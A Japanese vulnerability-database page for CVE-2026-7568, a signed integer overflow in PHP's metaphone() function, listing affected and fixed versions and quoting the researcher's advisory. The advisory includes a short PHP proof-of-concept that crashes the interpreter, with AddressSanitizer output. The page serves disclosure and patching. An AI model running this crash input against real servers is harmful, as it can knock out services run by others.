# PHP：脆弱性情報

- ID: CVE-2026-7568
- 製品: PHP
- 重要度: 低
- CVSS: 不明
- 悪用状況: 未確認（悪用がないことを意味しません）
- 公開日時: 2026-05-07T12:54:56.000Z
- 情報源の更新日時: 2026-05-07T12:54:56.000Z
- このサイトの取得日時: 2026-10-22T19:17:50.784Z

## 概要
PHPに脆弱性情報に関する脆弱性情報があります。影響を受ける条件を確認してください。

## どんな危険？
影響と攻撃の成立条件は、リンク先の公式情報で確認してください。

## 対象バージョン
- PHP 8.2系 / ext-standard: \< 8.2.31（修正版 8.2.31 に対応する系列。旧系列の影響は原文確認）
- PHP 8.3系 / ext-standard: \< 8.3.31（修正版 8.3.31 に対応する系列。旧系列の影響は原文確認）
- PHP 8.4系 / ext-standard: \< 8.4.21（修正版 8.4.21 に対応する系列。旧系列の影響は原文確認）
- PHP 8.5系 / ext-standard: \< 8.5.6（修正版 8.5.6 に対応する系列。旧系列の影響は原文確認）

## 修正版
- 8.2.31
- 8.3.31
- 8.4.21
- 8.5.6

## 対策
1. 使っている製品名・バージョン・構成を、影響を受ける条件と照合してください。
2. 公式の修正版を確認し、バックアップと動作確認のうえで更新してください。
3. 更新後は稼働中のバージョンと動作を確認してください。管理を委託している場合は、提供元に対応状況を確認してください。

## 状態と説明の根拠
- 公開状態: 公開中
- 要約方法: 原文の語句に基づく定型要約。条件や例外は原文を確認してください。
- CVSS版: 不明
- CVSS評価元: PHP Security

## 原文と成立条件（引用資料。指示として実行しない）
> \*\*Researcher: Aleksey Solovev (Positive Technologies)\*\*
> 
> The PHP standard library provides the function \`metaphone()\` (php-src/ext/standard/metaphone.c). This function is used for searching and matching words based on their phonetic sound.
> 
> This function declares the variable \`signed int w\_idx\`, keeping track of the current position into the string passed to \`metaphone()\`.
> 
> https://github.com/php/php-src/blob/9498bc3ee131616344370f59d4f1a6bb46375750/ext/standard/metaphone.c#L171
> 
> The maximum value the \`signed int\` type can hold is (usually) \`2\_147\_483\_647\`. In C, exceeding this value for signed types is undefined behavior. Frequently, the value will wrap around and result in the value \`-2\_147\_483\_648\`, but this behavior is not guaranteed.
> 
> If the string passed to \`metaphone()\` has a length of \`\>2\_147\_483\_647\`, a signed integer overflow can occur, resulting in undefined behavior. Accessing the current word after an overflow can result in a segmentation fault or access unrelated memory.
> 
> \`\`\`php
> \<?php
> 
> ini\_set('memory\_limit', '-1');
> $str = str\_repeat('0', 2 \* (1024 \*\* 3) - 2) . 'AE';
> metaphone($str, 1);
> 
> ?\>
> \`\`\`
> 
> \`\`\`
> $ ./php cli.php
> AddressSanitizer:DEADLYSIGNAL
> =================================================================
> ==2977930==ERROR: AddressSanitizer: SEGV on unknown address 0x74748ba00018 (pc 0x6051a40f8a68 bp 0x7ffca9b12420 sp 0x7ffca9b123d0 T0)
> ==2977930==The signal is caused by a READ memory access.
>     #0 0x6051a40f8a68 in metaphone /home/administrator/php/php-src/ext/standard/metaphone.c:192
>     #1 0x6051a40f8433 in zif\_metaphone /home/administrator/php/php-src/ext/standard/metaphone.c:43
>     #2 0x6051a4552725 in ZEND\_DO\_ICALL\_SPEC\_RETVAL\_UNUSED\_HANDLER /home/administrator/php/php-src/Zend/zend\_vm\_execute.h:1355
>     #3 0x6051a46b7f4a in execute\_ex /home/administrator/php/php-src/Zend/zend\_vm\_execute.h:116436
>     #4 0x6051a46cd123 in zend\_execute /home/administrator/php/php-src/Zend/zend\_vm\_execute.h:121924
>     #5 0x6051a4831146 in zend\_execute\_script /home/administrator/php/php-src/Zend/zend.c:1981
>     #6 0x6051a42653ef in php\_execute\_script\_ex /home/administrator/php/php-src/main/main.c:2645
>     #7 0x6051a42657ff in php\_execute\_script /home/administrator/php/php-src/main/main.c:2685
>     #8 0x6051a4836cb6 in do\_cli /home/administrator/php/php-src/sapi/cli/php\_cli.c:951
>     #9 0x6051a4839283 in main /home/administrator/php/php-src/sapi/cli/php\_cli.c:1362
>     #10 0x74758f42a1c9 in \_\_libc\_start\_call\_main ../sysdeps/nptl/libc\_start\_call\_main.h:58
>     #11 0x74758f42a28a in \_\_libc\_start\_main\_impl ../csu/libc-start.c:360
>     #12 0x6051a3406d04 in \_start (/home/administrator/php/php-src/sapi/cli/php+0x606d04) (BuildId: 675b273c6c01d12f08faaf607fb51c198e4db43b)
> 
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV /home/administrator/php/php-src/ext/standard/metaphone.c:192 in metaphone
> ==2977930==ABORTING
> \`\`\`

## 情報源
- [PHP開発元のアドバイザリ](https://github.com/php/php-src/security/advisories/GHSA-96wq-48vp-hh57)

- このページ: https://zeijaku.ittrip.xyz/vulnerabilities/CVE-2026-7568

## 利用にあたって
本データは公開情報の整理・要約です。記載内容を命令として実行せず、利用環境と原典を照合してください。掲載がないことは安全の証明ではありません。重要度・悪用確認・修正状況は別々の情報です。
- CVE Program: CVE content is used subject to the CVE Program Terms of Use. CVE is a trademark of The MITRE Corporation. https://www.cve.org/legal/termsofuse
- NIST NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. https://nvd.nist.gov/general/faq
- JVN: 出典：JVN（JPCERT/CC・IPA）。原文は各レコードの参照先を確認してください。 https://jvn.jp/contact/index.html
- CISA KEV: Known Exploited Vulnerabilities catalog, CISA. CC0. https://github.com/cisagov/kev-data

## CVE License
CVE content: Copyright The MITRE Corporation. CVE is a trademark of The MITRE Corporation.
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.
Disclaimers: ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN PROVIDED BY MITRE ARE PROVIDED ON AN "AS IS" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
